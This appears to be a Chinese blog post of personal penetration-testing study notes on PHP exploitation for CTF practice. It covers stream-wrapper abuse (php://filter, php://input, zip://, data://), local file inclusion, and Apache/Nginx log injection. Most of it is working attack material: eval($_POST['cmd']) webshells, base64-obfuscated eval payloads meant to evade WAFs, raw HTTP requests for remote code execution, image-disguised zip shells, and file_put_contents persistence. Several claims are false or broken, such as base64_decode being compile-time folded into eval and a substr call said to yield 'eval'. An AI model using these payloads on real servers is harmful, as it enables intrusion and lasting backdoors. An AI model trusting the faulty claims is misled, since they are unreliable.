第 3 天:Zend 编译函数应用 + PHP 伪协议系统讲解核心知识点

Zend 编译函数:编译层绕过安全限制的原理

Zend 编译函数的核心是利用 PHP 编译阶段(源码→opcode)的逻辑缺陷,绕过运行时的安全限制,核心绕过年径为「语法解析绕过」和「编译优化利用」,具体操作过程如下:

前置说明

  1. 核心编译阶段:PHP 执行前的「词法分析→语法分析→生成 opcode」(由 Zend 引擎zend_compile_*系列函数完成);
  2. 安全限制前提:目标服务器通常在运行时做限制(如disable_functions禁用eval、WAF 关键字匹配拦截恶意代码),但未对编译阶段做校验;
  3. 核心工具:无需额外工具,仅需构造特殊语法的 PHP 代码,依赖 Zend 引擎的原生编译逻辑。

绕过年径 :编译优化利用

核心操作步骤(以「常量折叠优化」为例)
  1. 步骤 1:理解 Zend 编译优化规则 ------ 常量折叠Zend 编译阶段会将「常量表达式」直接计算出结果(无需运行时计算),例如:

    • 源码:$str = 'a' . 'b' . 'c';
    • 编译优化后:$str = 'abc';(opcode 中直接存储结果abc,无拼接操作)
    • 关键特性:常量折叠支持大部分 PHP 内置函数的常量参数调用,如base64_decode('ZXZhbA==')会被编译优化为eval
  2. 步骤 2:构造基于常量折叠的绕过 payload 适用于:WAF 拦截base64_decode('ZXZhbA==')这类明文字符串,但未对编译优化后的结果做校验

    php 复制代码
    <?php
    // 操作1:基础常量折叠:base64_decode常量被编译优化为eval
    $func = base64_decode('ZXZhbA=='); // 编译阶段直接优化为 $func = 'eval';
    $func($_POST['cmd']); // 运行时直接执行,规避WAF对"eval"的检测
    
    // 操作2:进阶常量折叠:多重编码+常量运算,提升绕过成功率
    $str1 = base64_decode('WlhaYmE='); // ZXZha(eval前4个字符)
    $str2 = base64_decode('QQ=='); // A(eval最后1个字符)
    $func2 = $str1 . $str2; // 编译阶段优化为 $func2 = 'eval';
    $func2($_POST['cmd']);
    
    // 操作3:利用数学常量优化,规避编码关键字检测
    $len = strlen('eval') - 1;
    $func3 = substr('eavlxyz', 0, $len + 1); // 编译阶段优化为 $func3 = 'eval';
    $func3($_POST['cmd']);
  3. 步骤 3:验证编译优化效果

    • 方式 1:使用 vld 扩展查看 opcode,确认$func的值已被优化为eval(opcode 中直接存储eval,无base64_decode执行指令);
    • 方式 2:上传 payload 到目标服务器,传递cmd=phpinfo();,确认代码正常执行,且 WAF 未拦截(安全工具仅检测到base64_decode,未识别编译优化后的eval)。
  4. 步骤 4:注意事项(规避编译优化失败)

    • 仅常量表达式会被优化(变量参与的表达式不会被优化,如base64_decode($_GET['code']));
    • 避免使用禁用函数的常量表达式(如system被禁用,即使编译优化后也无法执行);
    • 针对 PHP 7.x/8.x 版本差异,调整 payload(PHP 8.x 编译优化规则更严格,部分拼接语法可能不被优化)。

(三) 编译层绕过核心总结

  1. 核心逻辑:「编译阶段合法解析,运行阶段执行恶意代码,安全工具无法跨阶段识别」
  2. 关键操作:利用 Zend 语法解析规则、编译优化特性,规避直接的关键字检测和函数禁用;
  3. 落地要点:payload 需满足「Zend 编译可正常生成 opcode」,且尽可能隐蔽(减少明文字符串,增加混淆层)。

PHP 伪协议实战:php://filter(文件过滤读取)、php://input(POST 数据接收)、zip://(压缩包解析)等协议的功能、适用场景及语法格式;

前置说明

  1. 适用前提:目标 PHP 环境开启allow_url_fopen(默认开启),部分协议(如php://input)需要开启allow_url_include
  2. 核心场景:文件包含漏洞(LFI/RFI)、敏感文件读取、代码执行、上传文件绕过;
  3. 验证工具:Burp Suite(抓包构造请求)、浏览器(直接拼接 URL 参数)、蚁剑 / 菜刀(后续连接)。

(一) 协议 1:php://filter(文件过滤读取)

核心属性
  • 功能:对目标文件进行「过滤处理」(如编码转换、内容过滤)后读取,无法直接执行代码,核心用于读取不可直接访问的文件(如flag.phpconfig.php);

  • 适用场景:文件包含漏洞、源码读取、绕过文件内容直接输出限制;

  • 核心语法格式(完整 payload): plaintext

    复制代码
    php://filter/read=过滤方式/resource=目标文件路径
    # 常用过滤方式:convert.base64-encode(Base64编码,避免中文乱码、规避内容过滤)
    # 简化格式(兼容大部分环境):
    php://filter/convert.base64-encode/resource=目标文件路径
核心操作过程(以 CTF 读取flag.php为例)
  1. 步骤 1:明确目标与限制

    • 目标:读取/var/www/html/flag.php(网站根目录下的 flag 文件,直接访问返回空白或 404);
    • 限制:目标服务器禁止直接读取flag.php,仅允许通过index.php?file=参数进行文件包含。
  2. 步骤 2:构造完整 payload 利用convert.base64-encode过滤方式(Base64 编码读取,避免内容被解析或过滤),拼接文件包含参数:

    plaintext

    复制代码
    # URL参数形式(直接在浏览器访问/Burp Suite发送)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=flag.php
    # 若路径包含特殊字符(如空格、#),需进行URL编码
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=%2Fvar%2Fwww%2Fhtml%2Fflag.php
  3. 步骤 3:发送请求,获取编码结果

    • 操作 1:浏览器直接访问构造的 URL,页面会返回一串 Base64 编码字符串(如PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=);
    • 操作 2:若浏览器返回空白,使用 Burp Suite 抓包,在「Response」面板中提取 Base64 编码内容(避免页面渲染过滤)。
  4. 步骤 4:解码获取文件内容

    • 方式 1:在线 Base64 解码工具(如https://base64.supfree.net/),粘贴编码字符串,解码得到flag.php源码;

    • 方式 2:本地命令行解码(Linux/Windows): bash

      运行

      复制代码
      # Linux
      echo "PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=" | base64 -d
      # Windows(PowerShell)
      [System.Convert]::FromBase64String("PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=") | Out-File -FilePath flag.php -Encoding utf8
    • 结果:解码后得到flag.php源码,提取其中的$flag变量值,完成目标。

  5. 步骤 5:进阶操作(绕过协议限制) 若目标服务器禁止php://filter协议,采用「协议变形」规避检测,核心变形 payload:

    plaintext

    复制代码
    # 变形1:多斜杠(Zend编译阶段会自动合并多余斜杠)
    php://////filter/convert.base64-encode/resource=flag.php
    # 变形2:路径拼接(利用PHP路径解析规则)
    php:/./filter/convert.base64-encode/resource=flag.php
    # 变形3:参数拆分(适用于WAF拦截完整协议字符串)
    http://目标IP/index.php?file=php://filter/read=convert.base64-encode/resource=&path=flag.php
  6. 注意事项

    • php://filter仅用于「读取」,无法执行代码,若需执行需配合其他协议;
    • 目标文件路径需准确(可通过../../../../路径遍历,定位系统敏感文件,如/etc/passwd);
    • Base64 编码后的结果可能包含换行符,解码前需去除多余空白字符。

(二) 协议 2:php://input(POST 数据接收)

核心属性
  • 功能:读取 POST 请求体中的原始数据,支持将 POST 数据作为 PHP 代码执行,核心用于「代码执行」;

  • 适用场景:文件包含漏洞(RFI/LFI)、远程代码执行、绕过 GET 参数限制;

  • 前置条件:目标 PHP 环境开启allow_url_include=On(默认关闭,需漏洞环境或配置不当);

  • 核心语法格式:

    bash 复制代码
    php://input
    # 无额外参数,直接作为文件包含参数使用,POST请求体中写入恶意PHP代码
核心操作过程(以文件包含 getshell 为例)
  1. 明确目标与限制

    • 目标:通过文件包含漏洞,在目标服务器上执行恶意代码,获取 webshell;
    • 限制:目标仅允许通过index.php?file=参数进行文件包含,且禁止http://远程包含协议。
  2. 构造请求(核心操作,需使用 Burp Suite)

    • 发送 GET 请求,拼接文件包含参数:

      php 复制代码
      GET /index.php?file=php://input HTTP/1.1
      Host: 目标IP
      Connection: close
      Content-Type: text/plain  # 指定POST数据格式为纯文本
      Content-Length: 长度值(POST数据的字节数)
    • 在请求体(POST Data)中写入恶意 PHP 代码(一句话后门):

      php 复制代码
      <?php eval($_POST['cmd']); ?>  # 接收POST参数cmd,执行任意PHP代码
      # 进阶:隐蔽性后门,避免被快速检测
      <?php @system($_POST['shell']); ?>
  3. 发送请求,验证代码执行

    • Burp Suite 发送构造好的请求,查看响应状态码(200 OK 表示请求成功);
    • 验证后门可用性:使用蚁剑 / 菜刀,添加目标地址http://目标IP/index.php,密码cmd(对应后门中的$_POST['cmd']),测试连接;
    • 若连接成功,即可通过蚁剑 / 菜刀执行命令、读取文件,完成 getshell。
  4. 进阶操作(绕过allow_url_include关闭限制) 若目标allow_url_include=Off,可结合「文件上传 +php://input」绕过:

    • 上传包含<?php eval($_POST['cmd']); ?>的图片文件(伪装文件头GIF89a,绕过上传限制);

    • 通过php://input读取上传文件的路径,再通过文件包含执行;

    • 核心 payload(POST 请求体):

      php 复制代码
      <?php $path = '/var/www/html/upload/123.jpg'; include($path); ?>
  5. 注意事项

    • php://input仅支持 POST 请求,GET 请求无法传递数据;
    • 当请求方法为GET时,php://input返回空,需确保请求方法为POST
    • 恶意代码需符合 PHP 语法,否则会导致执行失败(可先本地测试语法正确性)。

(三) 协议 3:zip://(压缩包解析)

核心属性
  • 功能:直接解析压缩包中的文件(无需解压),支持读取压缩包内的 PHP 文件并执行,核心用于「绕过协议黑名单、上传文件绕过」;

  • 适用场景:文件包含漏洞、上传文件后缀限制绕过、php://filter被禁止的场景;

  • 核心语法格式:

    php 复制代码
    # 格式1:压缩包路径%23内部文件路径(%23是URL编码后的#,分隔压缩包与内部文件)
    zip://压缩包绝对路径%23内部文件相对路径
    # 格式2:URL参数形式(文件包含场景)
    http://目标IP/index.php?file=zip:///var/www/html/flag.zip%23flag.php
    # 简化格式(上传场景,压缩包位于网站根目录)
    zip://flag.zip#flag.php
核心操作过程(以绕过php://filter禁止,读取flag.php为例)
  1. 准备压缩包(本地操作)

    • 将目标文件flag.php(本地创建测试文件,或获取目标文件)压缩为flag.zip(仅压缩flag.php,不包含上级目录);
    • 验证压缩包(可选):解压flag.zip,确认内部包含flag.php,且路径正确;
    • (进阶)若需上传压缩包,可将flag.zip重命名为flag.jpg(伪装图片后缀,绕过上传格式限制)。
  2. 上传 / 定位压缩包(目标服务器操作)

    • 场景 1:压缩包已存在于目标服务器(如/var/www/html/flag.zip),直接使用绝对路径;
    • 场景 2:需上传压缩包,通过目标网站的上传功能,将flag.zip(或flag.jpg)上传至服务器,定位上传路径(如/var/www/html/upload/flag.jpg)。
  3. 构造完整 payload,执行文件包含

    • 压缩包为flag.zip,位于网站根目录,读取内部flag.php

      复制代码
      http://目标IP/index.php?file=zip:///var/www/html/flag.zip%23flag.php
    • 上传的压缩包为flag.jpg,位于upload目录,读取内部flag.php

      复制代码
      http://目标IP/index.php?file=zip:///var/www/html/upload/flag.jpg%23flag.php
    • 关键操作:#必须进行 URL 编码为%23(否则浏览器会将#后的内容视为锚点,不传递给服务器)。

  4. 获取结果,验证效果

    • 浏览器访问构造的 URL,若flag.php有输出,直接查看页面内容;

    • flag.php无输出,结合php://filter(若未被完全禁止),构造组合 payload:

      复制代码
      http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=zip:///var/www/html/flag.zip%23flag.php
    • 解码 Base64 结果,获取flag.php内容,完成目标。

  5. 进阶操作(getshell)

    • 本地创建shell.php,写入一句话后门:<?php eval($_POST['cmd']); ?>

    • shell.php压缩为shell.zip,重命名为shell.jpg,上传至目标服务器;

    • 构造 payload,通过文件包含执行后门:

      复制代码
      http://目标IP/index.php?file=zip:///var/www/html/upload/shell.jpg%23shell.php
    • 使用蚁剑 / 菜刀连接,密码cmd,获取 webshell。

  6. 注意事项

    • zip://仅支持zip格式压缩包,不支持rar7z等格式;
    • 压缩包内的文件路径需为「相对路径」(不可包含/),否则无法解析;
    • 目标服务器需有读取压缩包的权限(否则会返回文件不存在错误)。

(四) 其他核心协议补充(快速操作指南)

协议 核心功能 适用场景 核心 payload
phar:// 解析 phar 格式压缩包,支持执行内部代码 绕过zip://禁止、文件包含 phar://shell.phar#shell.php
data:// 直接传递数据,支持 Base64 编码执行 代码执行、绕过 GET 参数限制 data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

第 4 天:伪协议相关漏洞 + 文件包含与日志注入

伪协议漏洞利用:伪协议与文件包含、代码注入的结合场景

(一) php://filter + 文件包含 → 读取敏感文件

这是最常用的场景,用于读取不可直接访问的敏感文件(如config.phpflag.php/etc/passwd),核心操作步骤如下:

  1. 探测文件包含漏洞与可利用性

    • 构造基础测试 payload,验证文件包含是否存在:

      php 复制代码
      # 访问目标包含页面,尝试包含系统默认文件(Linux)
      http://目标IP/index.php?file=/etc/passwd
      # Windows系统测试
      http://目标IP/index.php?file=C:\Windows\System32\drivers\etc\hosts
    • 验证结果:若页面返回root:x:0:0:root:/root:/bin/bash(Linux)或 hosts 文件内容,说明文件包含漏洞存在且无严格过滤。

  2. 构造php://filter完整 payload 核心采用convert.base64-encode过滤方式,避免文件内容被 PHP 解析(如<?php ?>标签内代码被执行而不输出),完整 payload:

    php 复制代码
    # 基础格式:读取网站根目录下的config.php
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=config.php
    # 路径遍历:读取上级目录的敏感文件(../ 跳转目录,根据实际路径调整层数)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd
    # 完整绝对路径(精准定位,适用于已知路径场景)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=/var/www/html/flag.php
  3. 发送请求,提取编码结果

    • 浏览器直接访问构造的 URL,页面会返回一串连续的 Base64 编码字符串(无多余 HTML 标签,若有可通过「查看页面源代码」提取);
    • 若浏览器返回空白,使用 Burp Suite 抓包,在「Response」面板的「Raw」标签下提取完整编码内容(规避页面渲染过滤)。
  4. 解码获取敏感文件内容

    • 在线解码:使用 Base64 解码工具(如https://base64.supfree.net/),粘贴编码字符串,解码得到原始文件源码;

    • 本地解码(Linux/Windows):

      bash 复制代码
      # Linux命令行
      echo "编码字符串" | base64 -d > config.php
      # Windows PowerShell
      [System.Convert]::FromBase64String("编码字符串") | Out-File -FilePath config.php -Encoding utf8
    • 结果提取:从解码后的config.php中获取数据库账号密码、密钥等敏感信息,从flag.php中提取目标 flag。

  5. 进阶绕过(应对协议 / 关键字拦截) 若目标 WAF 拦截php://filter,采用协议变形规避,核心变形 payload:

    复制代码
    # 1. 多余斜杠(Zend引擎编译阶段会自动合并)
    php://////filter/convert.base64-encode/resource=config.php
    # 2. 路径拼接(利用PHP路径解析规则)
    php:/./filter/convert.base64-encode/resource=config.php
    # 3. 拆分参数(规避完整关键字匹配)
    http://目标IP/index.php?file=php://filter/read=convert.base64-encode/resource=&name=config.php
    # 4. 结合其他协议(如zip://,先将敏感文件压缩为zip包)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=zip://flag.zip%23flag.php

(二) php://input + 文件包含 → 远程代码执行

该场景用于获取临时代码执行权限(getshell),前置条件为allow_url_include=On(默认关闭,需配置不当或漏洞环境),核心操作步骤如下:

  1. 验证allow_url_include配置(可选) 构造data://协议 payload,快速验证配置是否开启:

    复制代码
    http://目标IP/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
  2. 构造php://input请求(必须使用 Burp Suite) 该协议仅支持 POST 请求,需在请求体中写入恶意 PHP 代码,步骤如下:

    • 发送 GET 请求,拼接包含参数:

      python 复制代码
      GET /index.php?file=php://input HTTP/1.1
      Host: 目标IP
      Connection: close
      Content-Type: text/plain
      Content-Length: 26  # 对应下方PHP代码的字节数
    • 在请求体(POST Data)中写入恶意代码(一句话后门 / 命令执行):

      php 复制代码
      # 方案1:一句话后门(便于后续蚁剑/菜刀连接)
      <?php eval($_POST['cmd']); ?>
      # 方案2:直接执行系统命令(快速验证)
      <?php system('ls -l /var/www/html'); ?>
  3. 发送请求,验证代码执行效果

    • 效果 1(直接命令执行):若请求体中写入system('ls -l'),响应页面会返回目标目录下的文件列表,说明代码执行成功;
    • 效果 2(一句话后门):响应页面无明显输出(200 OK),使用蚁剑 / 菜刀添加目标地址http://目标IP/index.php,密码cmd,测试连接,若能成功连接,说明后门生效。
  4. 进阶操作(持久化 webshell) 利用代码执行权限,将后门写入目标服务器本地文件,实现持久化:

    • 在 Burp Suite 请求体中写入文件写入代码(Linux):

      php 复制代码
      <?php file_put_contents('/var/www/html/shell.php', '<?php eval($_POST["cmd"]); ?>'); ?>
    • 访问http://目标IP/shell.php,后续可直接通过蚁剑连接,无需重复利用文件包含漏洞。

日志文件注入:Apache/Nginx 日志路径定位、恶意代码写入方法、文件包含触发执行流程

(一) 步骤 1:定位 Apache/Nginx 日志文件路径

日志路径分为「默认路径」和「自定义路径」,优先探测默认路径,核心路径如下:

1. Apache 默认日志路径
bash 复制代码
# 访问日志(最常用,记录所有HTTP请求)
/var/log/apache2/access.log
/var/log/apache/access.log
# 错误日志
/var/log/apache2/error.log
/var/log/apache/error.log
# 虚拟主机日志(若目标配置了虚拟主机)
/var/log/apache2/sites-available/目标域名.access.log
2. Nginx 默认日志路径
bash 复制代码
# 访问日志(最常用)
/var/log/nginx/access.log
/var/log/nginx/nginx.access.log
# 错误日志
/var/log/nginx/error.log
/var/log/nginx/nginx.error.log
# 虚拟主机日志
/var/log/nginx/目标域名.access.log
3. Windows 日志默认路径
bash 复制代码
# Apache
C:\Program Files\Apache Group\Apache2\logs\access.log
C:\xampp\apache\logs\access.log
# Nginx
C:\Program Files\Nginx\logs\access.log
C:\xampp\nginx\logs\access.log
4. 路径探测方法(利用文件包含漏洞)

构造 payload,尝试包含日志文件,验证路径是否正确:

bash 复制代码
http://目标IP/index.php?file=/var/log/apache2/access.log
http://目标IP/index.php?file=/var/log/nginx/access.log

(二) 步骤 2:恶意代码写入日志文件(核心操作,Burp Suite)

User-Agent注入为例,核心操作步骤如下:

(三) 步骤 3:文件包含触发日志中的代码执行(核心操作)

  1. 构造文件包含 payload,包含日志文件

    plaintext

    复制代码
    # Apache 日志
    http://目标IP/index.php?file=/var/log/apache2/access.log
    # Nginx 日志
    http://目标IP/index.php?file=/var/log/nginx/access.log
    # 路径遍历(若日志文件在上级目录)
    http://目标IP/index.php?file=../../../../var/log/nginx/access.log
  2. 验证代码执行权限(两种方式)

    • 方式 1:直接使用 Burp Suite 发送 POST 请求,传递cmd参数执行命令:

      复制代码
      POST /index.php?file=/var/log/apache2/access.log HTTP/1.1
      Host: 目标IP
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 16
      
      cmd=phpinfo();
    • 方式 2:使用蚁剑 / 菜刀连接,添加目标地址http://目标IP/index.php?file=/var/log/apache2/access.log,密码cmd,测试是否能执行命令、读取文件。

  3. 进阶操作:持久化 webshell 利用日志中的代码执行权限,将后门写入目标服务器本地文件,避免重复注入日志:

    • 执行文件写入命令(Linux):

      php 复制代码
      # 传递cmd参数:file_put_contents写入后门
      cmd=file_put_contents('/var/www/html/shell.php', '<?php eval($_POST["cmd"]); ?>');
    • 访问http://目标IP/shell.php,后续可直接通过蚁剑连接,完成持久化。

(四)注意事项与优化(提升利用成功率)

  1. 日志文件编码 / 格式问题

    • Web 服务器会对日志中的特殊字符进行转义,若 PHP 代码执行失败,可尝试简化代码(如<?=@eval($_POST['c']);?>,减少特殊字符);
    • 若日志文件过大,包含漏洞执行超时,可等待日志轮转(Web 服务器会定期切割日志文件,生成新日志),再重新注入代码。
  2. 权限问题

    • 若无法读取日志文件,尝试其他路径,或利用路径遍历提升权限;
    • 避免写入被保护的日志文件(如root权限日志,Web 服务器无法读取)。
  3. 隐蔽性优化

    • 注入的 PHP 代码可结合 Base64 编码,提升隐蔽性,避免被管理员发现:

      php 复制代码
      User-Agent: <?php $a=base64_decode('ZXZhbA=='); $a($_POST['cmd']); ?>
  4. Nginx 日志特殊处理 Nginx 默认会对请求头中的特殊字符进行转义(如<转义为&lt;),导致 PHP 代码无法被解析

五、核心漏洞与 CTF 实战考点整合

(一)关键文件与漏洞点

文件名 核心功能 漏洞 / 限制 CTF 考点应用
index.php 接收 file 参数,实现文件包含 禁止 input/filter/data 协议;无 file 时显示 upload 链接 文件包含漏洞绕过、伪协议替代方案(如zip://
flag.php 定义 $flag 变量 需通过文件包含或其他漏洞读取 伪协议读取源码、文件包含直接包含获取 flag
上传相关文件 处理文件上传 允许格式:jpg/jpeg/png/zip;大小限制 < 100000;文件名 MD5 加密 后缀欺骗、文件头伪装绕过上传限制,配合文件包含 getshell
登录相关文件 处理用户名 / 密码校验 预编译 SQL 防注入;密码 MD5 加密;Session 存储 base64 编码用户名 非预编译场景 SQL 注入、Session 欺骗辅助解题

(二)高危漏洞与 CTF 解题技巧

  1. 文件包含漏洞(LFI)
  • 核心考点:协议绕过、日志注入、上传文件包含;
  • 解题技巧:尝试zip://phar://等未被禁止的协议;构造日志注入恶意代码(如 User-Agent 写入<?php eval($_POST['cmd']);?>),再通过文件包含执行。
  1. 文件上传漏洞
  • 核心考点:格式校验绕过、文件内容伪装;
  • 解题技巧:后缀欺骗(shell.php.jpg)、文件头伪装(添加 GIF89a)、压缩包上传后解压包含。
  1. SQL 注入漏洞
  • 核心考点:参数拼接注入、联合查询、报错注入;
  • 解题技巧:测试语句'0' union select 1,2,3#'0' union select 1,2,3-- ;预编译场景不可注入,重点关注 id 等直接拼接参数。
  1. 伪协议应用
  • 核心考点:敏感文件读取、代码执行;
  • 解题技巧:php://filter/read=convert.base64-encode/resource=flag.php读取源码,php://input接收 POST 数据执行代码。

(三)CTF 常用工具与函数

类型 内容 备注(CTF 应用场景)
工具 Burp Suite(抓包 / 爆破)、Python(脚本开发) 爆破文件名、自动化测试 LFI 偏移量、构造注入 payload
危险协议 php://filter、php://input、zip://、phar:// 绕过文件包含限制、读取敏感文件
核心函数 scandir(目录遍历)、fopen/fwrite(文件读写)、include ()(文件包含) 目录扫描找 flag 文件、写入恶意代码、触发漏洞执行
数据处理 substr(字符串截取)、ceil/floor(数值处理) 构造精准 payload,适配漏洞参数要求

(四)CTF 自动化脚本

python 复制代码
import sys

attempts = 1000
host = "192.168.68.129"  # CTF靶机地址
port = 80

def init(host, port):
    # 初始化HTTP连接(CTF中可配置请求头、Cookie等)
    request1 = "GET /index.php?file= HTTP/1.1\r\nHost: {}\r\n\r\n".format(host)
    request2 = ""
    return request1, request2

def getoffset(host, port, request1):
    # 计算文件包含偏移量(适配CTF中LFI题目)
    return 0

def phpinfo_LFI(host, port, offset, request1, request2):
    # 利用LFI读取phpinfo或flag文件
    payload = "php://filter/read=convert.base64-encode/resource=flag.php"
    request = request1.replace("file=", "file={}".format(payload))
    # 发送请求并接收响应(需补充socket通信逻辑)
    return None

if __name__ == "__main__":
    request1, request2 = init(host, port)
    for i in range(1, attempts):
        offset = getoffset(host, port, request1)
        print(f"try:{i}/{attempts}")
        sys.stdout.flush()
        res = phpinfo_LFI(host, port, offset, request1, request2)
        if res is not None:
            print('Success! Flag content:', res)
            break

六、安全防护措施(CTF 防护绕过思路)

防护类型 具体措施 作用 CTF 绕过技巧
SQL 注入防护 预编译 SQL 语句(bind_param 绑定参数) 杜绝参数拼接注入 寻找未使用预编译的场景(如 id 参数直接拼接)
文件上传防护 格式校验(后缀白名单)、大小限制 防止恶意文件上传 后缀欺骗、文件头伪装、分块上传绕过大小限制
文件包含防护 禁止危险协议(input/filter/data) 减少文件包含风险 使用zip://phar://等替代协议
会话安全 Session 存储 base64 编码用户名 提升会话安全性 破解 base64 编码、伪造 Session 标识
其他 错误抑制、日志记录 减少信息泄露 触发报错注入、利用日志文件写入恶意

七、总结

前四天的学习构建了从底层原理到 CTF 实战的完整知识体系,不仅掌握了 PHP 相关核心漏洞的利用技术,更实现了 "漏洞成因 - 利用逻辑 - CTF 解题适配" 的思维闭环。后续将以 "强化基础、深耕实战" 为目标,持续提升渗透技术的深度与广度,重点突破 CTF 高频考点,努力将理论知识转化为高效解题能力,为后续竞赛与实战应用筑牢基础。

相关推荐
小六花s2 小时前
渗透测试前四天PHP文件包含笔记
android·学习·渗透测试
Rubin智造社2 小时前
见路不走:从《天幕红尘》读懂2026年的创新密码
android·开发语言·kotlin
冷雨夜中漫步3 小时前
Python入门——__init__.py文件作用
android·java·python
学习3人组3 小时前
采用EVENT定时任务同步视图到物理表提升视图查询效率
android
followYouself3 小时前
ViewPager+Fragment
android·前端
吴声子夜歌3 小时前
RxJava——概述
android·rxjava
Dreamboat¿13 小时前
解析PHP安全漏洞:Phar反序列化、Filter链与文件包含的高级利用与防御
android·网络·php
周杰伦的稻香15 小时前
MySQL中常见的慢查询与优化
android·数据库·mysql